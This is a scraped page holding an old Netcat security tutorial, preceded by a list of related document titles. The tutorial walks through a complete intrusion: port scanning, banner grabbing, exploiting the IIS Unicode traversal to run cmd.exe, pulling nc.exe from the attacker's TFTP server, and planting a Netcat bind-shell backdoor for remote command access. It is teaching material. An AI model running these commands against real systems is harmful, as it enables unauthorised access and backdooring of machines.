SECUREIT.CO.IL. Tutorial. NetCat. Security Through Hacking. NetCat Tutorial. Straight forward, no nonsense Security tool Tutorials

Similar documents
Netcat Commands. I am going to give you insight and knowledge so that you can understand netcat Me0wwww. WOW, something useful and FREE

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Managing Windows XP Firewall Through Command-line

Port Scanning. Objectives. Introduction: Port Scanning. 1. Introduce the techniques of port scanning. 2. Use port scanning audit tools such as Nmap.

File Transfer Examples. Running commands on other computers and transferring files between computers

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Firewalls and Software Updates

Penetration Testing Walkthrough

How To Make A Backdoor On Windows Server From A Remote Computer From A Command Prompt On A Windows 2 Computer (Windows) On A Pc Or Ipad (Windows 2) On An Ipad Or Ipa (Windows 3) On Your Pc Or

Penetration Testing Report Client: Business Solutions June 15 th 2015

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

1 Recommended Readings. 2 Resources Required. 3 Compiling and Running on Linux

Configuring Allied Telesyn Equipment to Counter Nimda Attacks

Passive Vulnerability Detection

1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained

To compile Netcat with this option use your favorite text editor to change the CFLAGS line in the Makefile to the following:

Securing Your Network. The Art of Attack & Penetration

Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security Sans Mentor: Daryl Fallin

Installing and Configuring Nessus by Nitesh Dhanjani

SAFEGUARDING YOUR HOMEOWNERS ASSOCIATION AND COMMON AREAS

Penetration Testing Ninjitsu 2: Crouching Netcat, Hidden Vulnerabilities. By Ed Skoudis

Penetration Testing. NTS330 Unit 1 Penetration V1.0. February 20, Juan Ortega. Juan Ortega, juaorteg@uat.edu. 1 Juan Ortega, juaorteg@uat.

1 Data information is sent onto the network cable using which of the following? A Communication protocol B Data packet

Tunnels and Redirectors

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

Lab 10: Security Testing Linux Server

Port Scanning and Vulnerability Assessment. ECE4893 Internetwork Security Georgia Institute of Technology

EECS 354 Network Security. Introduction

Penetration Testing Workshop

PTSv2 in pills: The Best First for Beginners who want to become Penetration Testers. Self-paced, online, flexible access

HONEYD (OPEN SOURCE HONEYPOT SOFTWARE)

CIT 380: Securing Computer Systems

Network Security In Linux: Scanning and Hacking

Application Note: Upgrading Interceptor software with FTP server on local PC

Project Proposal Active Honeypot Systems By William Kilgore University of Advancing Technology. Project Proposal 1

Lab 3: Recon and Firewalls

Lab Objectives & Turn In

1 Scope of Assessment

Payment Card Industry (PCI) Executive Report. Pukka Software

Lab 7: Introduction to Pen Testing (NMAP)

Still Aren't Doing. Frank Kim

Host Discovery with nmap

ΕΠΛ 674: Εργαστήριο 5 Firewalls

Spam Marshall SpamWall Step-by-Step Installation Guide for Exchange 5.5

INTRUSION DETECTION SYSTEM

Web Application Vulnerability Testing with Nessus

Using Nessus In Web Application Vulnerability Assessments

NCS 430 Penetration Testing Lab #2 Tuesday, February 10, 2015 John Salamy

Web App Security Audit Services

Vulnerability Assessment and Penetration Testing

How To Set Up A Network Map In Linux On A Ubuntu 2.5 (Amd64) On A Raspberry Mobi) On An Ubuntu (Amd66) On Ubuntu 4.5 On A Windows Box

Firewalls. Pehr Söderman KTH-CSC

Microsoft IIS Unicode Exploit

Certified Ethical Hacker (CEH)

CYBER SECURITY. II. SCANDALOUS HACKINGS To show the seriousness of hacking we have included some very scandalous hacking incidences.

Contents. TSM Remote Server Installation guide

STABLE & SECURE BANK lab writeup. Page 1 of 21

How to Earn IPv6 Certifications (Windows Version: Fast) Why? Macintosh Instructions Windows Versions Tips for Windows Home Edition Users

Medical Device Security Health Imaging Digital Capture. Security Assessment Report for the Kodak Capture Link Server V1.00

How to detect hackers on your web server

CS2107 Introduction to Information and System Security (Slid. (Slide set 8)

ΕΠΛ 475: Εργαστήριο 9 Firewalls Τοίχοι πυρασφάλειας. University of Cyprus Department of Computer Science

Directory and File Transfer Services. Chapter 7

60467 Project 1. Net Vulnerabilities scans and attacks. Chun Li

EXTRA. Vulnerability scanners are indispensable both VULNERABILITY SCANNER

Computer Forensics Training - Digital Forensics and Electronic Discovery (Mile2)

Pre Sales Communications

Attacks and Defense. Phase 1: Reconnaissance

INTERNET SECURITY: THE ROLE OF FIREWALL SYSTEM

Linux FTP Server Setup

Phone Fax

FILE TRANSFER PROTOCOL INTRODUCTION TO FTP, THE INTERNET'S STANDARD FILE TRANSFER PROTOCOL

Client logo placeholder XXX REPORT. Page 1 of 37

Remote Network Analysis

ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details

NETWORK SECURITY WITH OPENSOURCE FIREWALL

SAFE-T RSACCESS REPLACEMENT FOR MICROSOFT FOREFRONT UNIFIED ACCESS GATEWAY (UAG)

Updating MNS-6K software on Magnum 6K Switches

Payment Card Industry (PCI) Executive Report 10/27/2015

Hands-on Hacking Unlimited

Security: Attack and Defense

Metasploit Lab: Attacking Windows XP and Linux Targets

User Manual. Onsight Management Suite Version 5.1. Another Innovation by Librestream

Penetration Testing with Kali Linux

Running a Default Vulnerability Scan SAINTcorporation.com

Internet Security and Acceleration Server 2000 with Service Pack 1 Audit. An analysis by Foundstone, Inc.

1. LAB SNIFFING LAB ID: 10

Wireless Communication With Arduino

LanFiltrator The "Reversed" Trojan. (Free Gobo 2) Security Through Hacking. Straight forward, no nonsense Security tool Tutorials.

Basic Network Configuration

Learn Ethical Hacking, Become a Pentester

Barracuda Intrusion Detection and Prevention System

Configure a Microsoft Windows Workstation Internal IP Stateful Firewall

Virtual Learning Tools in Cyber Security Education

Windows Filtering Platform, engine for local security

SFTP Server User Login Instructions. Open Internet explorer and enter the following url:

Transcription:

SECUREIT.CO.IL Tutorial NetCat Security Through Hacking NetCat Tutorial Straight forward, no nonsense Security tool Tutorials

SECUREIT.CO.IL SECURITY THROUGH HACKING NetCat The Swiss Army Knife SecureIT.co.il muts@secureit.co.il http://www.secureit.co.il

SECUREIT.CO.IL Tutorial NetCat NetCat The "Swiss Army Knife" Description Netcat is a utility that is able to write and read data across TCP and UDP network connections. If you are responsible for network or system security it essential that you understand the capabilities of Netcat. Netcat can be used as port scanner, a backdoor, a port redirector, a port listener and lots of other cool things too. It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me During this tutorial I'll demonstrate a complete hack, using Netcat only, just to point out how versatile it is. Port scanning with Netcat A scanning example from Hobbit is "nc -v -w 2 -z target 20-30". Netcat will try connecting to every port between 20 and 30 [inclusive] at the target, and will likely inform you about an FTP server, telnet server, and mailer along the way. The -z switch prevents sending any data to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a fast scanning mode just to see what ports the target is listening on. To limit scanning speed if desired, -i will insert a delay between each port probe. Even though Netcat can be used for port scanning it isn t its strength. A tool such as Nmap is better suited for port scanning. We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are open.

Banner Grabbing with Netcat So we're interested in knowing what's running behind port 80 and 21. We can use Netcat to grab port banners in the following way: So we know it s probably a Windows 2000 machine as it's running IIS 5.0 and Microsoft FTP Service. Let's try to send a malformed URL which attempts to exploit the File Traversal vulnerability in unpatched IIS servers (Pre SP3). We will be using Netcat to Check for the vulnerability, and if found (and it will!), we will upload Netcat to the IIS server and demonstrate how we can use Netcat as a backdoor. If you do not know what the Unicode File traversal exploit is, you can check the "IIS Unicode File Traversal" tutorial, or read it up on the net. 1

Basically this exploit allows us to "break out" of C:\inetpub\wwwroot and explore and execute programs anywhere on the attacked machine. The point here isn't hacking IIS, but the use of Netcat as a backdoor. Don't get distracted by the whole "hacking into IIS" thing. Voila! We've sent the URL: http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\ to the vulnerable IIS server and what we see is a directory listing of the IIS server C drive. Great! Now we want to upload Netcat to the IIS server, so we'll use TFTP and integrate the TFTP commands into the malformed URL. Notice that the URL has a plus (+) sign between each command. So the command: 2

tftp I 192.168.1.9 GET nc.exe Is transformed to: http://<exploit URL>/c+TFTP+-i+192.168.1.9+GET+nc.exe Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file: Netcat as a BackDoor So now we have Netcat uploaded to the IIS server, we want to use it to create a backdoor, in order to get a remote command prompt. In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets choose port 10001) and then we can connect to this port from our attacking machine using Netcat of course! The command we want to give on the server looks like this: nc -L -p 10001 -d -e cmd.exe Here's what that command does: nc - tells Windows to run the nc.exe file with the following arguments: -L Tells netcat to not close and wait for connections -p Specifies a port to listen for a connection on -d Tells Netcat to detach from the process we want it to run. -e Tells what program to run once the port is connected to (cmd.exe) 3

If we now want to convert this command for Unicode URL use, it will look like this: http://<exploit URL>/c+nc+-L+-p+10001+-d+-e+cmd.exe Now we will execute Netcat on the remote IIS machine: This should have started Netcat listening on port 10001 on the IIS machine and should connect the cmd.exe process to the connection stream. From our machine we will try to connect to the Netcat on the IIS server. 4

Tada! We have now "Shoveled a Shell" using Netcat. We effectively have a remote command prompt of the IIS server, as can be seen from the IPConfig. Transferring files using Netcat Let's look at other possibilities Netcat can provide. Sat we wanted to transfer a file called hack.txt to the IIS server, and for some reason we don't want to TFTP the file. We can use Netcat to transfer files from one system to another. To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command: nc l p 1234 >hack.txt On our source system (the attacking computer) we send a file named hack.txt to the IIS machine with the following command: nc destination 1234 <hack.txt 5

Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the same size as the original. This is what hack.txt looks like And Voila! We can see that the file hack.txt has been transferred to the target system, via port 1234. These are just a few of the wonderful option Netcat has to offer. Definitely worth RTFMing. Imagine all the wonderful possibilities of overcoming firewalls with netcat The End 6

7